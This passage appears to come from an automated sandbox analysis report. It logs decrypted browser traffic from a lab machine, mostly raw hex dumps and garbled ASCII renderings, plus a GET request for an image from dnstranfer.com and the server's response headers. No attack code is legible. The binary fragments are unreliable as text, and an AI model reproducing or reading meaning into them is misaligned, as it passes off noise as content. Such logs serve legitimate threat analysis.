2022-08-11 03:43:09 UTC 13479 IN Data Raw: 4b 7c 5f 89 92 cb cd a9 2f db 3f bb 49 b4 6f 7f f7 69 53 b8 3d 4e b6 3d dc 65 8f 10 7f 1a 0e 31 75 0c 56 de bf 
c2 7d f7 56 49 28 9b 60 29 4a bc a4 77 58 29 fc 94 a5 42 ca 68 b3 22 44 90 d6 b0 36 e0 b1 41 25 a0 66 08 82 49 73 5e cf 
14 1b 08 5d 89 a4 af 46 7c 79 82 f6 27 68 1a 80 88 b4 87 d0 dd 85 66 06 d2 e1 5e f2 e6 3d 83 67 2b e6 1a ee 88 e7 22 
ea 3d e1 63 c6 57 06 2b 87 3e e1 ab e2 2c e3 4b 60 cc f8 2a 93 17 c5 69 26 8f 82 8f 0a bd c0 ca 09 2b 27 8f 86 25 3b af 
b4 72 db a4 6e 89 cb 95 a6 4b fb 0a 48 2f ce 79 e7 26 0d 97 45 f8 65 54 ca 09 26 e6 74 5d c9 77 b7 2d a7 99 cd a6 00 d9 
cc 71 75 b6 f9 80 0a f7 f5 a6 14 d1 f2 3d 64 da 2e 12 e2 56 da c2 76 f4 b2 7e 5d 5c f4 55 d1 79 44 42 c0 56 4b 2c f5 dc fb 
ee ef 61 fe 8d df 02 e9 b8 14 cb ec f4 76 55 72 03 9e 
Data Ascii: K|_/?IoiS=N=e1uV}VI(`)JwX)Bh"D6A%fIs^]F|y'hf^=g+"=cW+>,K`*i&+'%;rnKH/y&EeT&t]w-qu=d.Vv~]
\UyDBVK,avUr

2022-08-11 03:43:09 UTC 13591 IN Data Raw: f1 cf 66 88 8d 82 53 43 72 19 67 81 c9 94 e0 07 d4 d6 95 b1 9a 4c ca 1e b5 35 43 5c a2 de b5 8b 3d df f0 6d 
cc 7f ee 67 b1 fa 83 3f 4a fb ab bf c9 e6 a9 55 9a a3 97 60 73 64 ce 74 84 34 64 3a 69 69 8c a3 12 68 67 91 5c 27 fc b6 
e3 cd 05 3a de 12 8c 63 10 33 8f 25 60 a6 35 e9 c1 d3 4c a6 53 ea 76 86 20 4c 24 95 c4 bc 54 10 8f 2c 3d 3a 91 22 56 40 
4c 45 96 0c 71 8a b6 c2 e8 fa eb 71 cb 4b d0 95 c8 fa 68 52 49 47 95 52 08 42 cb f4 bd b7 32 b7 39 61 46 47 94 0a 11 f3 
a8 67 e9 fc ea bd 78 ce 7b 72 34 a4 d4 61 2d 38 ab c4 d0 62 ac a5 8b ca ea db df 4e dc ca 24 db b0 eb c8 e5 3b 9d b4 f6 
63 75 7d 0c f5 60 7b 23 7a c4 f5 a9 af 0d 32 74 36 52 f5 0b 4f 56 f7 a4 03 de 69 0f af 0e b3 80 57 d0 84 15 4b 66 9b da 63 
9e b4 21 f4 02 e3 f5 e3 84 e3 0f 96 82 cd 0b 79 d6 a1 
Data Ascii: fSCrgL5C\=mg?JU`sdt4d:iihg\':c3%`5LSv L$T,=:"V@LEqqKhRIGRB29aFGgx{r4a-8bN$;cu}`{#z2t6ROV
iWKfc!y

2022-08-11 03:43:09 UTC 13607 IN Data Raw: ee 62 ee 59 7b 11 3f c4 ea 1e 36 16 1b 66 0e 64 0c 87 3f f2 95 0c 5f fd 4a 42 67 18 74 01 21 d1 3d 7c 2b 3a 1e 
e3 15 52 80 74 f8 00 69 90 f1 93 19 4c d6 59 fc e4 4f 61 eb be bb c9 d3 19 dd 5f bd 99 f8 15 9f 85 57 61 fa c0 49 da 5b 6f 
43 a3 92 e6 0c cd b3 9f 8e 4e d6 c1 75 b4 16 ea 2e 23 ed 0c b7 b8 48 0c 99 b5 1f fe 4d 4e bf fe c7 71 c3 48 13 cb 70 6e 
cb 94 89 a5 2e 42 35 de 62 e5 db 5f 4f 7c cd 77 95 a9 65 2c ae 48 8d 2a b3 e2 3c 8d f5 30 56 c3 c6 73 9f 49 5b c1 30 96 
e5 27 18 98 17 60 19 a2 85 f1 9b 7f 97 8d df ff 5d 06 52 7e cf ba c0 25 bf fc f3 ec fa cc 97 a2 dd 43 ef 1f ea db c1 64 0b 08 
a4 aa 10 c6 cc ee 3a 46 3b d9 a2 72 0d 5e 8b d5 72 10 ca 54 59 12 ee bc e2 c3 e8 b6 96 f4 91 e2 dd a9 44 10 8b b1 15 
84 4c 6c 95 d8 45 34 81 cd 83 f2 66 b6 c3 f8 e2 
Data Ascii: bY{?6fd?_JBgt!=|+:RtiLYOa_WaI[oCNu.#HMNqHpn.B5b_O|we,H*<0VsI[0'`]R~%Cd:F;r^rTYDLlE4f
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2022-08-11 03:43:09 UTC 13623 IN Data Raw: 54 9f ed e9 28 25 eb 00 bb 3c d9 2f e5 a9 61 fc ba d1 4a d3 10 85 44 87 f8 12 4c 6b 3d f9 53 d5 18 e0 f4 96 7d 
6c dd 77 0b c7 1f 7c 3f 1d ef 10 d5 02 59 21 86 9c f1 ce 26 8e 9f 3d ca b9 63 9f 67 7c f3 1e b4 d8 84 18 2b 21 8a 46 67 
4d 62 28 d2 73 d7 c9 9a cf 7a b7 16 22 16 45 43 19 7c 48 54 1d 1d 03 a3 61 45 77 58 e0 87 ab ec b0 d3 4c 6c 4c 85 57 
a9 52 11 94 fc d0 65 5d c4 78 ec ad 6f e5 f3 bf fb 2e c6 af b8 19 1a ac e7 5f ae 07 31 c9 e3 28 32 f1 0a 6a cc 95 85 9c d4 
48 64 a6 37 72 cb 07 7f 87 d6 d7 bc 1c e5 85 a8 53 c0 8e 52 82 53 0a 13 80 e0 39 f7 f1 8f 12 bb 4b 94 40 bb ad c8 42 03 
ab 1a b8 66 0b b3 75 67 fd 22 6b c5 53 58 f7 55 f3 c5 00 77 ea 78 4a 15 55 82 41 d0 26 bd 03 1d 25 a5 4c 56 25 6a 7a 1c 
76 ed c2 d7 8b d2 fa 87 02 7c 48 e8 81 3b 7b 0e f7 e8 
Data Ascii: T(%</aJDLk=S}lw|?Y!&=cg|+!FgMb(sz"EC|HTaEwXLlLWRe]xo._1(2jHd7rSRS9K@Bfug"kSXUwxJUA&%LV%j
zv|H;{

2022-08-11 03:43:09 UTC 13783 IN Data Raw: de 66 5d 23 ae 7e e6 1e ec 08 46 a2 c8 42 48 82 da a6 65 e2 ab be 2c dd 4b 92 8e f1 e5 c4 d1 d4 10 6a 81 68 
58 f7 f1 4f c1 22 75 2a e7 d2 45 8e fd fb 9f 63 f5 03 7f 84 cd 35 45 15 60 cb 1c b2 67 6f 7d 6f a9 34 b6 be e2 c8 ac 79 fd 
97 8b 8b 0c ce 9f a6 3c 77 9a d1 b1 53 f4 0f 1c a2 ba f7 73 cc df f7 59 7a bd 11 e3 80 d2 0d 4c 66 93 c0 d8 45 74 34 69 
3c 5a 5f 0f 62 92 15 98 92 24 1e 93 4c d3 2c 14 8f be ed bf 31 76 cb 3e 36 7c d3 77 a0 93 40 a1 6e 08 d3 3f 5b bf 97 40 
83 6b 7f f1 ad 3c 74 66 91 f2 43 1f 44 97 23 72 36 d0 bc e1 f9 38 d3 4e b6 67 eb f7 81 be 62 6a a2 10 c9 ea e7 bd fc 73 
45 6a de a2 5e bb cb ae b8 54 6a 51 29 b5 50 35 65 8d 69 a4 76 00 97 75 f4 48 7f 81 50 2b 8a 49 a9 b9 5c 96 c3 5c be 
80 93 40 15 22 ab 1f fa 30 61 69 9e bc 65 09 18 a2 0b 58 
Data Ascii: f]#~FBHe,KjhXO"u*Ec5E`go}o4y<wSsYzLfEt4i<Z_b$L,1v>6|w@n?[@k<tfCD#r68NgbjsEj^TjQ)P5eivuHP
+I\\@"0aieX

2022-08-11 03:43:09 UTC 13799 IN Data Raw: a8 a8 d1 2c a3 0c 42 38 76 37 d9 fc 01 dc 63 9f 48 56 0d 30 71 15 35 82 86 0c 17 73 ac 46 4c 68 10 29 b0 5a 
d0 fc f3 07 59 fc d4 2d 64 25 f8 46 d9 f9 ec 17 d0 79 f4 e3 99 be e9 f3 70 fb a6 19 dd 72 17 e6 e6 fb 80 11 61 be cb b0 0e 
d4 0a 66 da b2 63 77 87 e9 d9 92 66 64 58 ec 07 1a 2c 33 73 33 54 8b 0b dc f6 f7 ef e5 e4 db de 4b c7 47 f6 7c ee 23 99 
ba f2 12 9a d5 9a b0 34 40 9c 10 5c a0 d4 2e 36 08 21 57 86 61 44 bd bc 44 36 18 91 67 e0 8a 0c 7b c9 e5 c8 8d 8f c5 ce 
f5 58 78 e3 5f c2 db df 02 bd 1c 73 cd a3 70 c5 0e cc ca f1 b4 8b 61 33 8c 77 88 c9 a9 8d d2 e4 02 da 60 39 7b 47 f8 76 
c0 1d 71 eb 4e a1 f9 b9 00 f7 94 a4 7a ce c0 1d dd 02 98 8f 81 3b a7 01 f7 31 13 2f c8 c3 42 5a 7f e6 89 4b d6 76 be c6 
8d d7 82 a0 11 ea ba a6 1e 55 db 7a ab df 1f b7 80 6d 
Data Ascii: ,B8v7cHV0q5sFLh)ZY-d%FyprafcwfdX,3s3TKG|#4@\.6!WaDD6g{Xx_spa3w`9{GvqNz;1/BZKvUzm

2022-08-11 03:43:09 UTC 13815 IN Data Raw: e4 80 cf e4 bd 7d de 03 01 2b 0b d0 45 69 1a 63 9c c6 a6 d0 0a 1d 62 17 61 91 d4 84 5c 3a 46 19 f6 92 73 95 
27 a3 e0 49 8b 63 f6 22 30 2f 2c 2a eb 32 14 24 92 0a 3e 12 a4 5d 4b e5 91 0f 85 f5 ab d0 40 7e e3 ed cc 6d fe 51 01 a2 
6a a3 24 9b 8e 5c 7a 67 f3 df ff 21 e6 a4 23 a0 ae 91 49 02 24 e5 8a 2d 10 38 14 7d a6 52 a1 2a 92 0a 31 d8 08 57 29 de 
87 ad c7 38 91 82 57 34 95 63 b2 7c e3 b2 3a 4a e3 41 8f 02 a0 b7 73 1a 8c a0 e2 bb 30 5c a7 7e ce e3 68 8c 0f 21 81 9e 
97 68 6b 10 aa b8 6f ac 80 d6 65 97 31 fd fb af c7 ae 5f 83 f3 10 85 04 2b 2d 56 78 2a 2a 62 cf e6 9b 71 18 ea ce a2 9d 
47 86 0c 6b 04 22 13 c8 9d bb 98 7a c3 9f 30 fe aa 97 17 c0 a3 68 77 10 64 20 f7 9e 29 0f 52 7a 72 09 da ab 22 08 cf 15 
1b 79 57 41 ec 04 4a 04 90 b6 90 55 06 c3 35 e7 3d 81 1d 
Data Ascii: }+Eicba\:Fs'Ic"0/,*2$>]K@~mQj$\zg!#I$-8}R*1W)8W4c|:JAs0\~h!hkoe1_+-Vx**bqGk"z0hwd )Rzr"yWAJU5=

2022-08-11 03:43:09 UTC 13831 IN Data Raw: f5 4a 20 8a eb 98 a8 41 22 34 a0 31 4a a0 64 4e c5 44 c4 95 11 a2 8a 22 9a 59 60 d7 f5 9b 51 c6 83 b7 90 17 
a0 af 21 05 ca 44 b4 5b 73 18 13 61 95 c2 86 1e 84 40 2d 4a 68 44 02 15 0d a3 75 51 b5 e8 cc 12 44 c0 1a 45 14 34 da 
82 f5 1d 7a 3b 77 92 ef 99 a1 b3 e5 16 9a 8b f3 f8 28 e0 8d 22 b6 02 e1 62 54 a2 30 75 cd b0 4a 48 bd 47 eb 98 c8 4b 5a 
5a 20 a4 21 d2 55 94 8c 48 a4 c0 98 2a 3e d6 d8 5a 4e 35 49 50 32 c6 c6 60 34 68 51 c5 0b 83 53 09 a8 04 29 04 ca 38 
32 e1 11 5a 13 a9 18 4f 0f 5d 19 22 4a 26 88 82 42 84 0c 87 a0 6a 62 ea 01 94 a9 92 b7 e6 10 3b 77 d1 9d de c2 cc c2 5
6 90 39 5a a9 22 41 37 f7 8c c9 88 50 8f 51 3a e0 b5 43 85 1c 91 08 18 4d 58 a8 6a 9c 13 08 25 e9 99 0c a5 0b 4b 9a a0 
04 51 26 d0 49 85 48 c8 a2 13 22 20 4f 3c 79 9e 22 93 2a 32 b5 74 
Data Ascii: J A"41JdND"Y`Q!D[sa@-JhDuQDE4z;w("bT0uJHGKZZ !UH*>ZN5IP2`4hQS)82ZO]"J&Bjb;wV9Z"A7PQ:CMXj
%KQ&IH" O<y"*2t

2022-08-11 03:43:09 UTC 13847 IN Data Raw: 61 62 b6 4b 08 42 0c 9a a0 23 5a 0b 2e 46 42 ee 91 3a 90 37 86 a8 a1 a4 41 93 93 8b 00 35 3e 2a 68 02 41 
41 34 0a 15 22 c6 83 68 81 68 11 60 24 15 8d 44 72 65 c6 13 01 1a 15 f0 e8 6b d7 39 bd 99 1b d1 d6 16 fb f5 41 bc 80 0b 
01 a5 85 2c 2a ca e0 c6 a5 c0 48 16 14 5e 29 1a 02 a2 3b 38 3f 44 c7 40 a0 4d bb 0e 4c 2d ec c7 e6 67 72 af fb cc a0 0f 
54 3c ef 9e 1b 99 bc f0 72 1e b4 f8 7d 82 49 d5 04 ef c0 d6 2d b0 25 4b ae 61 ba 98 a4 bb 69 e3 78 bb a9 89 38 94 2a 88 
28 82 44 82 07 8b 81 e0 c6 52 6a a9 d1 a7 21 49 ac 65 d8 e4 6a aa 62 aa 3d de 9a 19 70 d0 28 e5 89 d1 11 a3 01 d5 46 
7c 83 c4 e4 8a 0b 0e 42 8e d4 10 ab 3d 48 de c5 64 6d c2 70 27 3a 54 e8 60 13 77 4b 07 44 1f 92 96 8a 04 a2 4e 77 c8 8
f cd 2d 56 4b b2 49 76 4a c6 0b 9a c3 60 88 41 a1 1b 47 16 35 88 
Data Ascii: abKB#Z.FB:7A5>*hAA4"hh`$Drek9A,*H^);8?D@ML-grT<r}I-%Kaix8*(DRj!Iejb=p(F|B=Hdmp':T`wKDNw-
VKIvJ`AG5

2022-08-11 03:43:09 UTC 13863 IN Data Raw: 49 7d fe 45 0c 77 ee 42 0a 85 19 d6 c8 6c 17 75 f7 bb d3 ee cc 12 63 43 ff a2 ef 23 3f b8 9a ba 68 61 b5 4a 68 
b2 8f 54 ba 4a 6c 26 ad 71 4e 28 a2 26 46 4f 9c 69 b1 78 f1 77 a9 8a 2e a1 81 aa b7 4c b8 ea 0a e2 d6 ad d4 7d c8 f1 48 
1e 89 cb cb d4 9b b7 63 da 45 32 e3 51 06 16 96 f1 e5 12 23 65 b0 36 27 d4 23 4a a3 29 86 d0 cc cf 63 8a 0c bf 5a 8d d9 
bb 00 4d 49 d0 8a a0 3c ae 1c d2 1f 1e c4 59 68 91 82 14 53 8d 70 6d 83 a2 4d ac a0 1e 94 f4 3f fa 51 32 32 0e 52 27 9f 
2c a0 0f 6c 5d aa e0 ad 29 61 6d 0e ec 66 df bf 7c 80 30 ea af 71 84 ed 38 c9 f0 80 eb 66 6c d0 2d da 46 a1 5b 96 5a 69 
96 54 8d 0c 2a 6c 36 79 68 42 78 d8 f2 dc a7 31 f7 d0 07 a3 4d 07 2d 01 35 d9 41 36 4f 53 03 3a cf 50 9b 37 73 cd 37 ff 
9b 8d f3 5b b9 cb 07 fe 96 e9 9f 7f 72 92 f3 bb 72 99 
Data Ascii: I}EwBlucC#?haJhTJl&qN(&FOixw.L}HcE2Q#e6'#J)cZMI<YhSpmM?Q22R',l])amf|0q8fl-F[ZiT*l6yhBx1M-
5A6OS:P7s7[rr

2022-08-11 03:43:09 UTC 13879 IN Data Raw: 9c c4 4d 7b 06 49 09 39 91 6b bf e3 c8 79 a7 0b 7d 8c f4 e3 bd 8c 2f 36 ac ec f5 bc ef dd 73 7e e1 67 27 dc b2 
99 b8 60 ad d8 25 67 32 e2 2c fd 7c 3b c8 9d 13 e2 04 57 8d a8 72 85 91 39 aa 03 4e ad 27 8e a7 29 cf 78 d2 32 df f0 ac 
bd c4 ad 29 39 7a 5c dd 13 eb ab c9 16 c4 59 9c 54 38 53 61 2c f4 b3 c0 f1 53 27 d9 3a db 12 66 11 9b 1d a3 ba 81 94 
e8 73 4b 15 1c ed 3c 91 73 a6 f1 15 c1 44 62 2c 4e 9f 16 2d 65 8d 0f f3 f9 4a a9 c3 bb 9a 2c c2 2c 24 6a 71 b8 c1 1a 5a 
f5 e4 41 e2 cc bb de 47 7c ea 77 33 fd db 97 b1 fa dd df c7 f0 e1 8f 42 44 89 9b a7 b0 c1 20 ae 05 5b 84 1a 45 23 e8 08 
a9 43 08 8c 3c e8 3d 69 af d8 76 f5 d4 0f 8d 2a a3 39 a3 a9 0c 74 63 4d 69 38 d6 62 40 63 14 92 ad a8 dd 12 a6 87 be 9b 
90 7c 64 ef e1 55 da 93 9b 45 a7 39 1c 11 35 d0 c7 8c 51 
Data Ascii: M{I9ky}/6s~g'`%g2,|;Wr9N')x2)9z\YT8Sa,S':fsK<sDb,N-eJ,,$jqZAG|w3BD [E#C<=iv*9tcMi8b@c|dUE95Q

2022-08-11 03:43:10 UTC 13895 IN Data Raw: 5e 9e b8 07 15 e9 47 c3 86 24 46 49 13 43 4b 35 d4 f4 8e 35 ac bc fd 7d cc fe f9 ef 18 24 90 42 e3 05 c4 6a f0 
31 17 b0 4a 90 70 d7 4e 41 c8 12 a9 81 44 aa 35 bd f3 2e a2 f7 ed cf a2 7c c0 7e 64 d5 a3 28 d0 5a 11 92 bb f7 3e 68 ef 
4b dc ef 20 07 c9 1b 42 0c 39 41 36 c6 90 c8 fe 11 6e 3c 66 f6 f6 f7 d0 fe d3 87 98 0e 3c 4e 45 7a 49 30 c1 e3 a3 47 69 d3
4d ba ef 6a 5c c5 bb 17 57 5f ea 6b 77 77 07 59 e9 8e 27 35 e9 76 3e c4 56 1e 22 72 fa f7 a7 9f ef 1d 74 db d9 22 8c de 
3a 79 df 4a d8 cf 24 94 a6 33 f4 bd 55 27 c5 ae 54 67 b6 d4 15 0e 29 e5 c6 ae 2e ec b6 e9 12 b0 8d 77 0f 80 1b 8f a9 df 
fe 1e da 7f fa 08 b3 81 a3 d5 31 37 ba 82 c7 8b 43 d4 5d 8f ab 2f 8b 8e fb 74 a8 e9 db 8a e3 7f f4 56 4e 9e 3c 8c bf f6 66 
96 0e ee 67 6a 4a 52 08 0c a2 a2 25 e1 52 c0 88 
Data Ascii: ^G$FICK55}$Bj1JpNAD5.|~d(Z>hK B9A6n<f<NEzI0GiMj\W_kwwY'5v>V"rt":yJ$3U'Tg).w17C]/tVN<fgjJR%R

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:43:10 UTC 13911 IN Data Raw: 38 4b 44 1b 98 89 41 69 4d a5 54 ce 27 80 34 76 b4 04 26 78 c2 8d 35 9a 8a fe 45 17 73 82 84 55 d0 0b 96 c2 
7a 02 8e fe fd 1f 08 bd 1e ab d7 7d 0e bf 76 82 6a d7 42 96 dc 05 74 74 1d 49 d9 d3 2b 2c a6 b0 84 d5 43 1c fa 8f 2f 87 
5d 23 aa 4b ef cf 9e ef fa 76 82 b7 dc f4 2b bf c6 c9 4f 7e 08 6e b8 8a f5 bf 7c 3b f6 ec 07 e2 54 40 19 cd 81 f3 1f 44 98 1f 
d2 bb fa 4a d4 b8 41 9f 7f 36 a1 37 c4 6c ae e1 96 76 33 b9 f2 5a 66 1f fa 67 8e bd e1 4d 88 df 24 c8 3c dc 97 b7 df 7e e2 
ee 25 66 a8 02 82 21 93 e9 54 e8 04 f7 05 42 46 5d 53 b8 80 42 98 e9 04 3a 60 bd a2 98 f5 99 2e 6d b0 eb d5 07 18 3e 
6e c8 ec e6 09 86 1e 22 4d d6 8e 6e 0b 9a b1 63 ba 5e d3 36 0d 3e b4 cc d6 1c 83 62 0e 8c 61 3a 9d d0 d6 1b b4 78 6c 
df 30 7f c1 22 73 bb 4a fa 07 4a 6a 5f e3 ea 90 0d 09 
Data Ascii: 8KDAiMT'4v&x5EsUz}vjBttI+,C/]#Kv+O~n|;T@DJA67lv3ZfgM$<~%f!TBF]SB:`.m>n"Mnc^6>ba:xl0"sJJj_

2022-08-11 03:43:10 UTC 13927 IN Data Raw: 5a d9 64 64 79 8b a8 51 d1 76 42 70 83 46 45 20 11 04 e7 e9 8b 1e 6e bd c4 52 22 83 27 76 01 2b 03 41 4a 
82 a9 43 e4 b0 57 5c ca 8e 9b 7f 41 f2 f5 cf 30 74 c6 33 51 cf 7e 2a ad 95 6b 06 03 25 45 d4 ab 91 50 43 08 e8 49 70 82 
6a c1 39 0f c1 56 c2 8f 50 e0 83 46 b8 14 ab 3c 44 25 69 69 90 a5 a4 f0 82 50 8f 88 94 c4 00 f9 c2 1c 3b 3f f1 29 16 be 7c 
01 f6 57 bf 46 62 49 92 21 12 99 90 87 0c 87 c5 2c f2 e9 ef c2 3f 14 42 54 cd bc 14 a0 aa 34 41 94 24 68 85 77 01 af 35 
da 97 28 2d 71 2e e0 b4 a0 0c 81 44 6b bc 2d 89 cc fe b1 ea bf 35 50 e9 e0 76 38 60 64 56 4d 0f 06 a7 6d 1d 2a db 4c 00 
af 15 d9 9e bd cc fc d9 5f 90 7f e7 07 0c bf f6 75 0c 3d e7 4c 7c 6d 14 d5 ef 22 e7 16 80 12 51 24 48 ad 11 de e1 43 51 
4d 16 42 95 4e 7a ff 51 75 03 3a 44 a0 3c 56 05 20 47 b5 
Data Ascii: ZddyQvBpFE nR"'v+AJCW\A0t3Q~*k%EPCIpj9VPF<D%iiP;?)|WFbI!,?BT4A$hw5(-q.Dk-5Pv8`dVMm*L_u=L
|m"Q$HCQMBNzQu:D<V G

2022-08-11 03:43:10 UTC 13943 IN Data Raw: 73 c5 29 65 c9 b0 7c 29 5a a6 a3 0b 54 87 5e cc f2 8f fe 1d ea af 85 8b 6f 7a 6d 06 c6 7e 09 df 5f c4 bc 30 41 
e9 05 c7 9c 25 46 ed 79 da 66 05 12 4c 8b 8a c1 fc 8b 19 dc f9 fd f4 06 2d 22 ff 86 0b 67 56 19 7d 3c d2 ef 95 04 9f f5 a7 
0b e7 71 38 62 cc 13 4e 74 1d af 2b 65 99 a4 2b 52 d3 9b 03 5a b7 2a dd 25 99 b8 99 d2 4a 19 dc 3a ef 30 53 da 90 10 
35 9c cf e6 4c b6 01 8d d6 dc f3 05 8b 3c f1 91 8b ac 7f ff 45 fc 7a 49 6b d3 9c 80 d3 e2 59 03 ee 46 76 b1 bc 1c b8 6f 56 
97 ef 05 d6 77 aa 57 04 6d 71 e6 81 82 c2 1a 92 b6 40 41 69 c2 5c 18 f1 fe fe 5d fc fc 5d 9f 41 a4 e0 87 1e ba 9f c5 74 01 
2f 89 98 6a 50 c1 79 d8 48 2d bd 59 81 bc 32 32 78 dd 32 ed f2 94 72 2a 84 32 d3 93 70 46 8c 86 88 e1 0d 62 70 8c 9b 
31 87 6f 9f 63 f9 ee 25 5c 1d 99 ce a6 d0 3a 8a e4 
Data Ascii: s)e|)ZT^ozm~_0A%FyfL-"gV}<q8bNt+e+RZ*%J:0S5L<EzIkYFvoVwWmq@Ai\]]At/jPyH-Y22x2r*2pFbp1oc%\:

2022-08-11 03:43:10 UTC 13959 IN Data Raw: ad 88 da 32 a3 a5 77 f4 36 4e 7d f5 ab 09 ef 7c 37 b3 c7 57 b2 72 93 73 59 e3 3d 46 b4 ae 3b 63 8c f4 b4 03 
ea fd 6c 67 af cf ec f7 f7 0f c0 fb 41 3b 68 07 ed d9 00 ed fb 55 7c b9 29 bc b4 87 ef c6 96 bc 23 39 8b ed 7d 81 f7 7e db 
21 f5 ba 6d f3 73 69 2b 6b ac de 75 bc 75 07 85 a2 85 c3 6a 87 d6 0e a9 05 aa 98 41 7b 0d ae 34 5c 6d 50 1b 52 0b d2 
03 ed 29 52 09 5a 2b d2 a3 e3 b2 03 3e 53 21 2c 05 cc 02 58 44 62 e8 64 89 03 62 01 21 61 9a 32 c7 3d 45 88 4d 87 63 
23 39 e9 a0 d9 70 52 b2 fc 23 be 44 8b 45 5c b9 0c d5 32 2c ce 91 96 3c 05 cb b8 e7 cd e1 5f b8 4c f1 d8 0a ed c7 ce b1 
fa be c7 18 7d e8 2c ed e3 63 aa 4b 10 2a c7 cc 5a 7c 9a 51 bb 82 42 6a 82 39 da 14 48 6e 33 9b f1 0c 02 f7 4d d7 ac 5c 
0c 99 b9 d1 cf 55 e0 aa c9 67 5a 40 67 bd 9b 3a c5 91 e8 bb 
Data Ascii: 2w6N}|7WrsY=F;clgA;hU|)#9}~!msi+kuujA{4\mPR)RZ+>S!,XDbdb!a2=EMc#9pR#DE\2,<_L},cK*Z|QBj9H
n3M\UgZ@g:

2022-08-11 03:43:10 UTC 13975 IN Data Raw: 97 d0 c9 25 ac 9b 91 e2 d3 d0 3d 8d 4c 1e 85 dd 4f 93 56 5e 08 2b 0f 40 77 1a 69 c6 f8 7b 3a 4e fe be 17 b0 f2
9a 75 2e fd fb 4f 71 f1 27 3f c1 d6 c7 b6 90 ae 42 c6 1e 67 86 26 9e 77 e7 3c e9 bf 37 4c 49 04 c0 88 62 38 1c 4f 11 d8 01 
7a 43 22 40 78 61 68 38 a3 8a 68 64 cb 22 ad c1 90 48 27 46 db 06 d6 80 17 9c 79 88 d6 55 bc f8 4d df cc 0b de f8 95 bc 
e7 9f fc 63 3e f8 4f fe 37 36 df f3 6e 76 cf 6e f1 b1 6e 87 c7 2e 4d 79 f8 9e 53 bc ec de 53 8c d7 85 b6 9b d1 4e f6 48 a1 
a3 f2 79 05 99 92 1c 7f 31 a5 09 93 8e 98 04 e7 1c 12 13 a9 0b f8 ca 21 c9 c3 6e 87 34 2b e8 ab 5e 89 9e 3b 47 f7 9b ef 
e2 73 1f f8 75 fc bb 7f 81 bb 7f d7 ff c0 ca 6b bf 0c ab 85 94 0c 17 05 f5 9e d6 07 30 a3 36 88 02 e6 73 41 68 40 b0 8f 3f 
ca a5 1f ff df 78 fc ff ff bf e3 3e ff 79 d2 
Data Ascii: %=LOV^+@wi{:Nu.Oq'?Bg&w<7LIb8OzC"@xah8hd"H'FyUMc>O76nvnn.MySSNHy1!n4+^;Gsuk06sAh@?x>y

2022-08-11 03:43:10 UTC 13991 IN Data Raw: 41 49 21 7b b6 d3 09 d2 29 16 2d 8b 77 cb 9f 47 9e b8 e2 be 58 75 39 f2 5e 58 3a 91 4b 5e 04 99 ca a1 51 f1 
eb 49 99 39 ee 75 37 2a ee 2f 8f 98 94 89 f5 f9 2b 62 ae e4 24 33 df e2 9e 8b f7 b9 eb cc dc 32 f2 f2 31 7f 3d 63 f2 5a 82 
f5 d9 12 f1 47 11 cf b7 42 c8 1f 37 08 f2 7c 3e 5e 6f 77 00 e9 b9 e0 d3 7e d8 ed 47 4d 99 b9 3c ca 3e 3f ee 97 53 63 ae 
76 3c 96 1c f7 63 1c ef 08 ea 6a 2c 59 ee 92 0a 24 71 bd 93 4c ee 6c 9f d2 0c 75 8a a3 86 a9 31 7b 32 30 bb 04 ed e3 50 
9f 4e 54 67 8c e1 29 43 4e 08 6e cd e1 56 c0 8d 0d 6b 02 52 19 f5 40 31 07 e6 12 5a e7 28 3b d0 fb c0 3b b0 79 97 db 3e 
23 c3 b4 6f 8e 1a a0 53 24 3a 52 4c a4 00 d6 2a d2 29 12 24 f7 0b 8a 71 21 dc 53 6b a4 56 48 53 43 26 46 9a 91 73 dd 
27 39 f7 3d e7 bf 27 e2 0c ac 15 e8 c0 4b 32 d5 3e 15 c7 
Data Ascii: AI!{)-wGXu9^X:K^QI9u7*/+b$321=cZGB7|>^ow~GM<>?Scv<cj,Y$qLlu1{20PNTg)CNnVkR@1Z(;;y>#oS$:R
L*)$q!SkVHSC&Fs'9='K2>

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

266 192.168.11.20 62508 47.243.100.207 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:10 UTC 14264 OUT GET /lipgupiao/assets/images/haoli3.jpg HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36
Host: dnstranfer.com

Session ID Source IP Source Port Destination IP
Destination
Port

Process

267 47.243.100.207 443 192.168.11.20 62508 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:43:11 UTC 14564 IN HTTP/1.1 200 OK
cache-control: public, max-age=43200
expires: Thu, 11 Aug 2022 15:43:10 GMT
etag: "a83c-62f0fed6-202f18;;;"
last-modified: Mon, 08 Aug 2022 12:17:26 GMT
content-type: image/jpeg
content-length: 43068
accept-ranges: bytes
date: Thu, 11 Aug 2022 03:43:10 GMT
server: LiteSpeed
alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=25920
00, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
connection: close

2022-08-11 03:43:11 UTC 14565 IN Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 
79 00 01 00 04 00 00 00 3c 00 00 ff e1 03 2f 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 
30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 
7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 
6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 
36 2d 63 31 33 38 20 37 39 2e 31 35 39 38 32 34 2c 20 32 30 31 36 2f 30 39 2f 31 34 2d 30 31 3a 30 39 3a 30 31 20 20 
20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d 
